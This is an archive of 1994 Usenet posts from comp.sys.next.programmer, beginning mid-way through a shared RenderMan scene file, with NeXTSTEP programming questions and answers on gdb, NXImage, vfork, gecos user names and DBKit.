-0.00738 0.01750 0.09941 0.00133 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.05000 -0.00738 0.01750 0.09941 0.00133 0.02150 0.05000 -0.00738 0.02150 0.09941 0.00133 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.05000 -0.00738 0.02150 0.05000 -0.01144 0.01750 0.05000 -0.00738 0.01750 0.05000 -0.01144 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.09941 0.00133 0.01750 0.10011 -0.00261 0.02150 0.09941 0.00133 0.02150 0.10011 -0.00261 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ -0.01750 0.05000 -0.00738 -0.01750 0.09941 0.00133 -0.01750 0.05000 -0.01144 -0.01750 0.10011 -0.00261 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.05000 -0.01144 -0.01750 0.10011 -0.00261 -0.02150 0.05000 -0.01144 -0.02150 0.10011 -0.00261 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.05000 -0.01144 -0.02150 0.10011 -0.00261 -0.02150 0.05000 -0.00738 -0.02150 0.09941 0.00133 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.05000 -0.00738 -0.02150 0.09941 0.00133 -0.01750 0.05000 -0.00738 -0.01750 0.09941 0.00133 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.05000 -0.00738 -0.01750 0.05000 -0.01144 -0.02150 0.05000 -0.00738 -0.02150 0.05000 -0.01144 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.09941 0.00133 -0.02150 0.10011 -0.00261 -0.01750 0.09941 0.00133 -0.01750 0.10011 -0.00261 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ 0.02150 0.04500 -0.00738 0.02150 0.05000 -0.00738 0.02250 0.04500 -0.05137 0.02250 0.05000 -0.05137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02250 0.04500 -0.05137 0.02250 0.05000 -0.05137 -0.02250 0.04500 -0.05137 -0.02250 0.05000 -0.05137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02250 0.04500 -0.05137 -0.02250 0.05000 -0.05137 -0.02150 0.04500 -0.00738 -0.02150 0.05000 -0.00738 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.04500 -0.00738 -0.02150 0.05000 -0.00738 0.02150 0.04500 -0.00738 0.02150 0.05000 -0.00738 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.04500 -0.00738 0.02250 0.04500 -0.05137 -0.02150 0.04500 -0.00738 -0.02250 0.04500 -0.05137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.05000 -0.00738 -0.02250 0.05000 -0.05137 0.02150 0.05000 -0.00738 0.02250 0.05000 -0.05137 ] AttributeEnd AttributeEnd AttributeBegin Color 0.171 0.269 0.150 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ -0.01750 0.09762 0.00000 -0.01750 0.09779 -0.00098 0.01750 0.09762 0.00000 0.01750 0.09779 -0.00098 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.09762 0.00000 0.01750 0.09779 -0.00098 0.01750 0.08284 -0.00260 0.01750 0.08302 -0.00359 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.08284 -0.00260 0.01750 0.08302 -0.00359 -0.01750 0.08284 -0.00260 -0.01750 0.08302 -0.00359 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.08284 -0.00260 -0.01750 0.08302 -0.00359 -0.01750 0.09762 0.00000 -0.01750 0.09779 -0.00098 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.09762 0.00000 0.01750 0.09762 0.00000 -0.01750 0.08284 -0.00260 0.01750 0.08284 -0.00260 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.08302 -0.00359 0.01750 0.08302 -0.00359 -0.01750 0.09779 -0.00098 0.01750 0.09779 -0.00098 ] AttributeEnd AttributeEnd MacroEnd WorldBegin Surface "plastic" AttributeBegin Color 0.000 0.000 0.000 Opacity 0.000 0.000 0.000 Attribute "identifier" "name" ["chaise2_1048581"] TransformBegin Transform [ 0.000000 0.000000 1.000000 0.000000 0.000000 1.000000 0.000000 0.000000 -1.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1.000000 ] AttributeBegin Color 0.000 0.000 0.000 Opacity 0.000 0.000 0.000 Attribute "identifier" "name" ["chaise_0"] TransformBegin Transform [ 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 ] MacroInstance "chaise" TransformEnd AttributeEnd TransformEnd AttributeEnd AttributeBegin Color 0.000 0.000 0.000 Opacity 0.000 0.000 0.000 Attribute "identifier" "name" ["chaise2_1048578"] TransformBegin Transform [ 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 ] AttributeBegin Color 0.000 0.000 0.000 Opacity 0.000 0.000 0.000 Attribute "identifier" "name" ["chaise_0"] TransformBegin Transform [ 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 ] MacroInstance "chaise" TransformEnd AttributeEnd TransformEnd AttributeEnd WorldEnd Only one chair appear.... i should have a second one with a 90deg angle The composition of two Identity Matrix is Ok ( fortunatly) but an Identity with an other type of matrix dont seem to work. Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy MW1 NeXT Mail accepted
Newsgroups: comp.sys.next.programmer From: davis@sonata.cc.purdue.edu (Robert Davis) Subject: Re: Debugging bundles in gdb Sender: news@mozo.cc.purdue.edu (USENET News) Message-ID: <Co3G84.H0E@mozo.cc.purdue.edu> Date: Mon, 11 Apr 1994 12:04:52 GMT References: <1994Apr8.143805.15726@planon.qc.ca> <1994Apr10.224001.10560@biztech.com> Organization: Purdue University, West Lafayette, IN In article <1994Apr10.224001.10560@biztech.com>, <cousens@biztech.com> wrote: > >Also, you may have to wait until AFTER the bundle is loaded (that is, the >principalClass is instantiated), to set your breakpoints. So, maybe you >should set the breakpoints in appDidInit:? > Actually, you can use the forward break feature of gdb. Do this: gdb> fb someMethod: and every time a class is dynamially loaded, gdb will check to see if it implements someMethod:, and if it does, it asks you if you want to break there. Otherwise, nothing happens. Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah. The clouds are lifting." NeXT Mail accepted --
From: jds@aplexus.jhuapl.edu (John D Stanhope) Newsgroups: comp.sys.next.programmer Subject: Copy a portion of a View to a NXImage? Date: 11 Apr 1994 12:14:23 GMT Organization: Johns Hopkins U. Applied Physics Lab Distribution: world Message-ID: <2obeuv$eq4@aplcomm.jhuapl.edu> Keywords: NXImage, sumbiminal Does any body know a quick way to copy a portion of a view into a NXImage? I would like this NXImage to also contain alpha. Thanks John Stanhope ------------------------------------------------------------------------------- Otto "Apes don't read philoshpy" disclaimer Wanda "Sure they do, they just don't understand it" -------------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer Subject: Re: HELP! NXGetNamedObject("Custom_ShortDescription", self); Message-ID: <1994Apr5.194104.2238@stone.com> From: andrew@stone.com (Andrew Stone) Date: Tue, 5 Apr 1994 19:41:04 GMT Sender: andrew@stone.com References: <CnqMBB.7zM@usenet.ucs.indiana.edu> Organization: Stone Design Corp In article <CnqMBB.7zM@usenet.ucs.indiana.edu> bbernhar@silver.ucs.indiana.edu (benjamin bernhard) writes: > Hello all, > Hopefully somebody knows the answer, I'm in a rush for an answer... > I'm creating a window that dynamically changes its contents at run > time. The window contains a box, and I copy views (created in IB) into > the box. The views contain a set of text fields. I know their names, > (and the names are properly set in IB) but want to get the ID's. Here > is what I do: > if ([NXApp loadNibSection:buffer owner:self]==Nil) > NXRunAlertPanel("Alert", "didn't open UI", "OK", NULL, NULL); > /* the un-archived nib sets my outlet delegate equal to its window */ > aDelegateView=[delegate contentView]; > [aDelegateView getFrame:&aDelegateRect]; > [aBox getFrame:&aBoxRect]; > [aBox setContentView:aDelegateView]; > [aDelegateView setFrame:&aBoxRect]; > /* need to resize window here */ > NXNameObject("Custom", aDelegateView, self); > [aBox display]; > > this works, I can use NXGetNamedObject on Custom and rotate it or whatever. > Now, to get the id of "aTextField" (The actual names are kept in a > database, related to this UI) I've tried: > aField.theId=NXGetNamedObject("Custom_aTextField", self); > and lots of other combinations, with no luck. Is anybody else doing > this I may have spotted a few problems (other than Nil not being nil): If you need the "names" of a ui object, then you have to use the full method: [NXApp loadNibSection:buffer owner:self withNames:YES]; or if you are managing zones, use loadNibSection:owner:withNames:fromZone: 3.0 plugged the aggravated memory loss of automatically reading names when most objects don't use them by NOT reading in the name as a default. As an aside, to get to the naming feature of IB, which is great for runtime decisions, use Edit->Set Name... But you say you need the ID's of the objects... This is what you get for free by declaring instance values in your class as "id foo", and connecting "foo" in the class "Connections" inspector to the textfield in question. Or perhaps because of your runtime naming this is impossible. Another technique which doesn't require names, and is free for all UI objects which have a tag variable is to use View's findViewWithTag: method. andrew -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
From: don@darth.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Subject: Re: How to get the REAL USER NAME Date: 11 Apr 1994 16:23:20 GMT Distribution: world Message-ID: <2obtho$dbp@bones.et.byu.edu> References: <Co36np.7pE@xexos.com> Mark Chamberlain writes ) robert@steffi.demon.co.uk (Robert ) Nicholson) writes: ) > Why is it necessary to specifically use the nikit for this? ) > ) > When netinfo is running the regular passwd/group routines just query ) > netinfo. ) ) Well exactly, that last lump of sbc code is massive over-engineering... ) the pw_gecos field from getpwuid works just fine with/without ) netinfo/nis whatever. Not to mention that it fails if yellow pages is running... and also can mess up on multi-level netinfo domains unless the users are all kept at the same level. getpwuid() seems to always do the right thing. -- Later, -Don Yacktman Don_Yacktman@byu.edu
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Good Expansion Dictionary for Edit Message-ID: <1994Apr7.035329.597@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <1994Apr6.011124.14394@frsvnsvn.irvine.ca.us> Date: Thu, 7 Apr 1994 03:53:29 GMT In article <1994Apr6.011124.14394@frsvnsvn.irvine.ca.us> kurt@frsvnsvn.irvine.ca.us (Kurt Werle) writes: > I'm looking for a good Objective-C Expansion Dictionary for Edit... Any > tips where to get one? > Please email, > Thanks, > Kurt > Here's my .editdict: (if you don't use this feature of Edit, here's how: 1] save the following file as .editdict in your home directory 2] be sure you have Developer mode set in Edit's Preferences ) ------------------------ oo/_ --------------------------------- app #import <appkit/appkit.h>\ block ////////////////////////////////////////////////////////////////////\ // blocktype \ ///////////////////////////////////////////////////////////////////\ \ copyright /************************************************************************* \ * Copyright (c) 1994 yer company here . All rights reserved. \ * programmer: prog \ * File name: stmt \ * Date: date \ * Purpose: date \ ************************************************************************** */\ else \ elseif if ( cond ) {\ stmt \ else { \ stmt \ } elseif elseif if ( cond ) {\ stmt \ else { \ stmt \ } for for ( start ; end ; update ) {\ stmt \ } if if ( cond ) {\ stmt \ } imp #import <appkit/ headerFile .h>\ impa #import <appkit/Application.h>\ in #import " headerFile .h"\ init #import " headerFile .h"\ loct #define cond NXLocalStringFromTable(" cond "," cond ",NULL," cond ")\ message [ target : method parameters ] new - loadNib\ {\ [SDBundle loadNib:[self name] for:self zone:[self zone]];\ return self;\ }\ \ + sharedInstance\ {\ static id sharedInstance = nil;\ \ if (sharedInstance) {\ return sharedInstance;\ } else {\ NXZone *zone = NXApp ? [NXApp zone] : NXDefaultMallocZone();\ sharedInstance=[[super allocFromZone:zone] init];\ [sharedInstance loadNib];\ }\ \ return sharedInstance;\ }\ \ + new\ {\ return [self sharedInstance];\ }\ \ - free\ {\ return self;\ }\ \ - init\ {\ [super init];\ return self;\ }\ one \ - loadNib\ {\ id bfc=[SDBundle bundleForClass:[self class]];\ char path[MAXPATHLEN+1];\ \ [bfc getPath:path forResource:[self name] ofType:"nib"];\ \ [NXApp loadNibFile:path owner:self\ withNames:NO fromZone:[self zone]];\ \ [self finalInit];\ return self;\ }\ \ pending \ /////////////////////////\ ////// PENDING /////\ /////////////////////////\ printf printf(" msg n"); private \ @interface (PrivateMethods)\ \ \ \ @end\ static id classinstance = nil;\ + instance \ {\ if (!classinstance) {\ classInstance = self = [super new];\ [self loadNib];\ } else self = classInstance;\ return self;\ }\ \ stone #import "../stone.h"\ while while ( cond ) {\ stmt \ } win [window disableFlushWindow];\ \ [[window reenableFlushWindow]flushWindow];\ return self;\ } +method + methodname parameters \ { \ stmt \ } \ -method - methodname parameters \ { \ stmt \ return self;\ } \ ------------------------------- cut here ---------------------- -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
From: camilleg@uxh.cso.uiuc.edu (Camille Groudeseune) Newsgroups: comp.sys.next.programmer Subject: Re: PD fortran? Date: 11 Apr 1994 16:39:56 GMT Organization: University of Illinois at Urbana-Champaign Distribution: world Message-ID: <2obugs$ph7@vixen.cso.uiuc.edu> References: <2o7gi0$d6e@vixen.cso.uiuc.edu> <2o8cuc$b0o@mailer.fsu.edu> <2o8ooi$orf@hippo.shef.ac.uk> Nobody has reported a real fortran compiler on NeXTs (other than Absoft, if they still exist). There is a fortran-to-C converter called f2c, ftpable from netlib.att.com and prep.ai.mit.edu:/pub/gnu. Camille Goudeseune.
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: ProjetBuilder with Help in Bundles Message-ID: <Co3u16.1o5@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <Co020p.6qy@hazel.north.de> Date: Mon, 11 Apr 1994 17:03:06 GMT In article <Co020p.6qy@hazel.north.de> gmd@hazel.north.de (Gerriet M. Denkmann) writes: > The 3.2 AppKit Release Notes state: > > If additional help is located in a directory other than > YourProject/English.lproj/Help, and that help is to be loaded with the > NXHelpPanel method, "addSupplement:inPath:", the help directory must not > be compressed (i.e. do not invoke the "compresshelp" utility on it). > > How can I make ProjectBuilder take notice of this rule? Ugly quick workarround: In your Makefile.postamble, add this line: COMPRESSHELP=/bin/echo Gerd
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: Copy a portion of a View to a NXImage? Message-ID: <1994Apr11.154521.18921@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <2obeuv$eq4@aplcomm.jhuapl.edu> Date: Mon, 11 Apr 1994 15:45:21 GMT In article <2obeuv$eq4@aplcomm.jhuapl.edu> jds@aplexus.jhuapl.edu (John D Stanhope) writes: > Does any body know a quick way to copy a portion of a view into a NXImage? I > would like this NXImage to also contain alpha. > > Thanks Something like NXRect whatToDraw = { ...... }; id pimage = [[NXImage alloc] initSize:&whatToDraw.size]; [pimage useCacheWithDepth:NX_DefaultDepth]; if ([pimage lockFocus]) { PStranslate(-NX_X(&whatToDraw), -NX_Y(&whatToDraw)); [view display:&whatToDraw :1 :YES]; [pimage unlockFocus]; } shoud work (I use this but with drawSelf: instead, for the whole view, and the alpha is copied in the bitmap). Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer Subject: Implementation of System V shared memory on NeXT Message-ID: <Co23LI.Ewy@cerc.wvu.edu> From: sanjay@cerc.wvu.edu (Sanjay Shrivastava) Date: Sun, 10 Apr 1994 18:34:30 GMT Sender: news@cerc.wvu.edu (USENET News System) Organization: Concurrent Engineering Research Center Keywords: shared memory I have to implement System V shared memory capability on NEXT. I was of the opinion that Memory Mapped I/O would solve my problem but due to its limitations of write-back I cannot use it. I have heard of this problem being solved using a PAGING OBJECT... could someone please point me to the right direction of how to implement this or where I can get information on this topic. Thanks a lot. Sanjay Shrivastava sanjay@cerc.wvu.edu
Newsgroups: comp.sys.next.programmer From: helmut@nero.novalis.pub.sub.org (Helmut Spethling) Subject: Re: Creating databases dynamically with DBKit Message-ID: <1994Apr10.215234.669@myhost.uucp> Sender: helmut@myhost.uucp Organization: Softwaredesign Spethling Helmut References: <2nak53$m5j@master.cs.rose-hulman.edu> Date: Sun, 10 Apr 1994 21:52:34 GMT In article <2nak53$m5j@master.cs.rose-hulman.edu> dattillm@beatrice.cs.rose-hulman.edu (Leonard M. Dattilo) writes: > > Greetings, > > What I have tried is using the DBDatabase evaluateString method to > send the SQL create database and the SQL create table. The evaluateString > method crashes the app after using it between 2 to 8 times. The error is: > Program generated(1): Memory access exception on address 0x20 > (protection failure). 0x50069cc in objc_msgSend () > > Since evaluateString appears to be unreliable I would appreciate > any other ideas. > I had the same problem with evaluateString. My solution is, For every binder only _one_ evaluateString-message and _no_ free-message after use. Yes I know, it costs much memory, but it works. Helmut the Bavarian
From: ccwf@plato.klab.caltech.edu (Charles Fu) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: vfork does not work as advertised Date: 11 Apr 1994 18:15:33 GMT Organization: FTL Enterprises, Inc. Message-ID: <2oc446$ch8@gap.cco.caltech.edu> Under 3.1 and 3.2, there really is no vfork. For example, under 3.2 Motorola, vfork is implemented as vfork 0x50085b4 bral 0x5008578 <fork> 0x50085ba nop Either vfork needs to be fixed to work as documented or the man page for vfork should be changed to indicate that vfork is not really a vfork but just a cover for fork. Here are some key differences between a properly implemented vfork and fork: 1) vfork suspends the parent until the child dies; 2) parent and child share the same context--memory is not set to copy-on-write, so the child must be very careful not to mess up the context eventually be used by the parent. I've never relied upon the second property. I'm annoyed because I just spent a great deal of time tracking down a kernel panic that was due to expecting property (1) to suspend the parent so I didn't have to worry about a race condition (easily fixed in this instance with a wait). -ccwf
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.programmer Subject: NXSoundRep/NXSound class? Date: 10 Apr 1994 20:39:02 GMT Organization: the Borg Distribution: world Message-ID: <2o9o56$de@theborg.stack.urc.tue.nl> Hello, Having read some comments about sound in the NEXTSTEP www-browser and having used RBrowser on sound files on a Sun I got the following idea: Wouldn't it be nice if there were the same capabilities for playing/converting sound-formats as there are for images? There are several sound formats which can be easily tracked by their extension so if there were possibilities of reading them without manually converting them or using GISO it would be very nice! Does someone know if such a beast is in existance? Perhaps it would be interesting for the MiscKit? Annard -- Give me enough bandwidth and I can transmit the earth. - Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated)
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: Copy a portion of a View to a NXImage? Message-ID: <Co44JH.743@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <2obeuv$eq4@aplcomm.jhuapl.edu> Date: Mon, 11 Apr 1994 20:52:52 GMT How about something like this: (NXImage *)copyViewRectToImage(View *aView, NXRect *aRect) { NXImage *image = [[NXImage alloc] initSize:&(aRect->size)]; if ([image lockFocus]) { [aView drawSelf:aRect :1]; NXLogError("you're mileage may vary"); NXLogError("all implied warranties will be denied"); NXLogError("use this code at your own risk"); NXLogError("the emperor has no clothes"); NXLogError("all known truths are lies"); NXLogError("you get the idea"); } else { NXLogError("NXImage -lockFocus error"); } return image; } peter PS. If you have alloc'd a graphic state for your view, I'm curious if this would work... John D Stanhope (jds@aplexus.jhuapl.edu) wrote: : Does any body know a quick way to copy a portion of a view into a NXImage? I : would like this NXImage to also contain alpha. -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@snac.cfa.org
Newsgroups: comp.sys.next.programmer From: netcom.com!kira!davidjohn (David John Burrowes) Subject: `Dimming' of icons Message-ID: <1994Apr10.204832.3374@kira.net.netcom.com> Sender: davidjohn@kira.net.netcom.com Organization: No organization at this time. Date: Sun, 10 Apr 1994 20:48:32 GMT Sorry if this is a common question (couldn't find an answer in the FAQ) In certain places, most notably on the shelves in the Workspace when a file has been picked up to be moved, icons are drawn in a `dimmed' or `greyed' fashion (on the shelves, it appears that all NX_DKGREY is drawn as NX_LTGREY and NX_BLACK as NX_DKGREY). However, I am unable to figure out how to do this with composite type operators. doin a .66 dissolve yeilds the right color transformations, but I always seem to loose my alpha in the process, so I get lots of white where I didn't want any. Has anyone done this in some manner short of manually altering the pixels of the icons before drawing? Thanks for any insights. Humbly, david john burrowes davidjohn@kira.net.netcom.com
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: vfork does not work as advertised In-Reply-To: ccwf@plato.klab.caltech.edu's message of 11 Apr 1994 18:15:33 GMT To: ccwf@plato.klab.caltech.edu (Charles Fu) Message-ID: <CEDMAN.94Apr11191005@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2oc446$ch8@gap.cco.caltech.edu> Date: Mon, 11 Apr 1994 23:10:05 GMT In article <2oc446$ch8@gap.cco.caltech.edu> ccwf@plato.klab.caltech.edu (Charles Fu) writes: Under 3.1 and 3.2, there really is no vfork. For example, under 3.2 Motorola, vfork is implemented as vfork 0x50085b4 bral 0x5008578 <fork> 0x50085ba nop Either vfork needs to be fixed to work as documented or the man page for vfork should be changed to indicate that vfork is not really a vfork but just a cover for fork. If I may quote the man page for vfork: "This system call will be eliminated when proper system sharing mechanisms are implemented. Users should not depend on the memory sharing semantics of vfork as it will, in that case, be made synonymous to fork." Carl Edman
From: ccwf@plato.klab.caltech.edu (Charles Fu) Newsgroups: comp.sys.next.programmer Subject: Re: vfork does not work as advertised Date: 12 Apr 1994 03:51:26 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2od5ru$3vk@gap.cco.caltech.edu> References: <2oc446$ch8@gap.cco.caltech.edu> In article <2oc446$ch8@gap.cco.caltech.edu>, Charles Fu <ccwf@plato.klab.caltech.edu> wrote: >Here are some key differences between a properly implemented vfork and fork: > 1) vfork suspends the parent until the child dies; > 2) parent and child share the same context--memory is not set to > copy-on-write, so the child must be very careful not to mess up > the context eventually be used by the parent. > >I've never relied upon the second property. Perhaps I should rephrase. With vfork, the child borrows the parent's memory and thread of control. A couple of people have quoted the BUGS section of vfork's man page, which states: Users should not depend on the memory sharing semantics of vfork.... I had always understood this to refer to the borrowing of _memory_ by the child, reliance upon which, as I stated, I also deprecate. I have never seen a prohibition against relying upon the borrowing of the parent's thread of control, which contributed to my particular problem. -ccwf
Newsgroups: comp.sys.next.programmer From: lapj_ltd@uhura.cc.rochester.edu (J. LaPierre) Subject: How to read/write parallel port? Message-ID: <1994Apr12.050941.2160@galileo.cc.rochester.edu> Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York Date: Tue, 12 Apr 94 05:09:41 GMT Can anyone point me to some info on writing and reading the parallel port on an intel box? I've only written code accessing devices in Mess-DOS which is relatively easy using inportb() and outportb(). The only equivalents I could find in NeXTstep are inb() and outb() which are only for driver use at the kernel level. Can I in fact use them in programs? I'd like to do "safe" hardware access the way unix normally does. But I have no idea how to do it on a unix system. The header file for parallel port functions through the driver seems inadequate. I can see no way to write data to the port, only setting various parameters, and reading data via ioctl(). Any help appreciated. -Jason -- -------- ---------- Jason LaPierre -- University of Rochester -- lapj_ltd@uhura.cc.rochester.edu -------- (no NeXTmail) ----------
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Re: vfork does not work as advertised Followup-To: comp.unix.questions Date: 12 Apr 1994 05:54:13 GMT Organization: San Francisco State University Message-ID: <2odd25$3ue@nic-nac.CSU.net> References: <2oc446$ch8@gap.cco.caltech.edu> Not a bug. vfork() is merely advisory; *any* UNIX system is free to substitute "full" fork() for it (but never the other way around). [I.e. you should not depend on the parent being suspended until the child calls _exit() or execve().] Read the vfork(2) man page. Let me rephrase this more strongly: even on systems that implement vfork() distinctly from fork(), properly written code will always tolerate being compiled with cc -Dvfork=fork Followups to comp.unix.questions. -=EPS=-
From: gbrown@raven.ctr.columbia.edu (Glenn Brown) Newsgroups: comp.sys.next.programmer Subject: Re: How to get the REAL USER NAME Date: 12 Apr 1994 05:54:27 GMT Organization: Columbia University Center for Telecommunications Research Message-ID: <2odd2j$p5c@sol.ctr.columbia.edu> References: <1994Apr10.231315.2340@nugget.rmNUG.ORG> Someone wrote: > > >How do I get the real user name of the current user e.g. Oliver > > >Meyer. All the proposed solutions so far are incomplete, because the gecos field can include other info besides just the username on BSD systems. This obscure fact is alluded to in 'man finger(1)' and 'man passwd(1)'. The format of the gecos field is fullname,office,officePhone,homePhone 'finger -l gbrown@raven.ctr.columbia.edu' to see the consequences of the gecos entry 'Glenn Brown,907 CEPSR,2128542478,2128531681'. Therefore, you should only use the characters before the first comma as the username. You can find the comma using strchr(). For non-netinfo sites, this info can be set using 'passwd -f'. For netinfo sites, this info can be set by changing the user's 'realname' property to the comma delimited format above. --Glenn
From: cartier@iisnext5.unil.ch (Cartier Francois) Newsgroups: comp.sys.next.programmer Subject: Drag-and-drop session from a Matrix Date: 7 Apr 1994 09:14:52 GMT Organization: University of Lausanne CH (Switzerland) Message-ID: <2o0iuc$5cl@cisun2000.unil.ch> Is it feasable to initiate a drag-and-drop session from a Matrix ? Is it consistent with the user-interface guidelines ? We need to be able to do a drag-and-drop from a Matrix to a view in another screen. So far I have found no example of an application initiating a drag-and-drop session from a Matrix object. This code does not work: @implementation CustomMatrix - mouseDown:(NXEvent *)theEvent { NXEvent savedEvent = *theEvent; ... [super mouseDown:theEvent]; ... [self dragImage:uneImage at:&frameCellule.origin offset:&zero event:&savedEvent pasteboard:textPboard source:self slideBack:YES]; ... return self; } @end *********************************** * Francois Cartier * * Universite de Lausanne, Suisse * * EMail: cartier@iisnext1.unil.ch * ***********************************
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2odiuo$91c@steffi.demon.co.uk> Control: cancel <2odiuo$91c@steffi.demon.co.uk> Date: 12 Apr 1994 09:03:25 +0100 Organization: me organized? That's a joke! Message-ID: <2odkkd$9dv@steffi.demon.co.uk> <2odiuo$91c@steffi.demon.co.uk> was cancelled from within trn. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Copy a portion of a View to a NXImage? Date: 12 Apr 1994 09:06:01 +0100 Organization: me organised, that's a joke. Message-ID: <2odkp9$9ib@steffi.demon.co.uk> References: <2obeuv$eq4@aplcomm.jhuapl.edu> <Co44JH.743@news.cis.umn.edu> Alternatively you can write a Category of NXImage to simply take a Window and a NXRect. size the image to the NXRect, lock focus on self and PScomposite from the Window's gstate with the NXRect That definately works because I've got such a category. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: biscm@info.isbiel.ch (Martin Bischoff) Newsgroups: comp.sys.next.programmer Subject: How to copy a View into a NXImage Date: 12 Apr 1994 08:58:51 GMT Organization: Biel School of Engineering, CH-2501 Biel, Switzerland Distribution: world Message-ID: <2odnsb$n72@vega.info.isbiel.ch> Hello, We are trying to program a small drawing-program. To increase the speed of the screen- redraw when scrolling, we tried to copy the contents of a view into a NXImage (to display only the image instead of redrawing all objects). Unfortunately it didn't work. Can anybody help us with that problem. Thanks for any help, Martin & Oli.
From: biscm@info.isbiel.ch (Martin Bischoff) Newsgroups: comp.sys.next.programmer Subject: strange behaviour of [aView getBounds:&aRect] Date: 12 Apr 1994 08:58:55 GMT Organization: Biel School of Engineering, CH-2501 Biel, Switzerland Distribution: world Message-ID: <2odnsf$n72@vega.info.isbiel.ch> Hello, When we tried to copy the contents of a view into a NXImage (see article before) we encountered some strange things when we wanted to get the size of a view. We used a method like the following to do this: - copyViewToImage { NXRect rect; NXSize area; NXStream *buffer; [self getFrame:&rect]; area.width=rect.size.width; area.height=rect.size.height; (...) image=[NXImage alloc]; (*) [image initFromStream:buffer]; [image setSize:&area]; (...) return self; } When we put the line marked with (*) into a comment, the everything worked alright. If we uncommented the line then everytime we tried to get the size of the view, we found that all values in the variables bounds and frame were zero (we also checked this with the debugger). Can anyone help us with this. It is very important for us. Thanks, Martin & Oli.
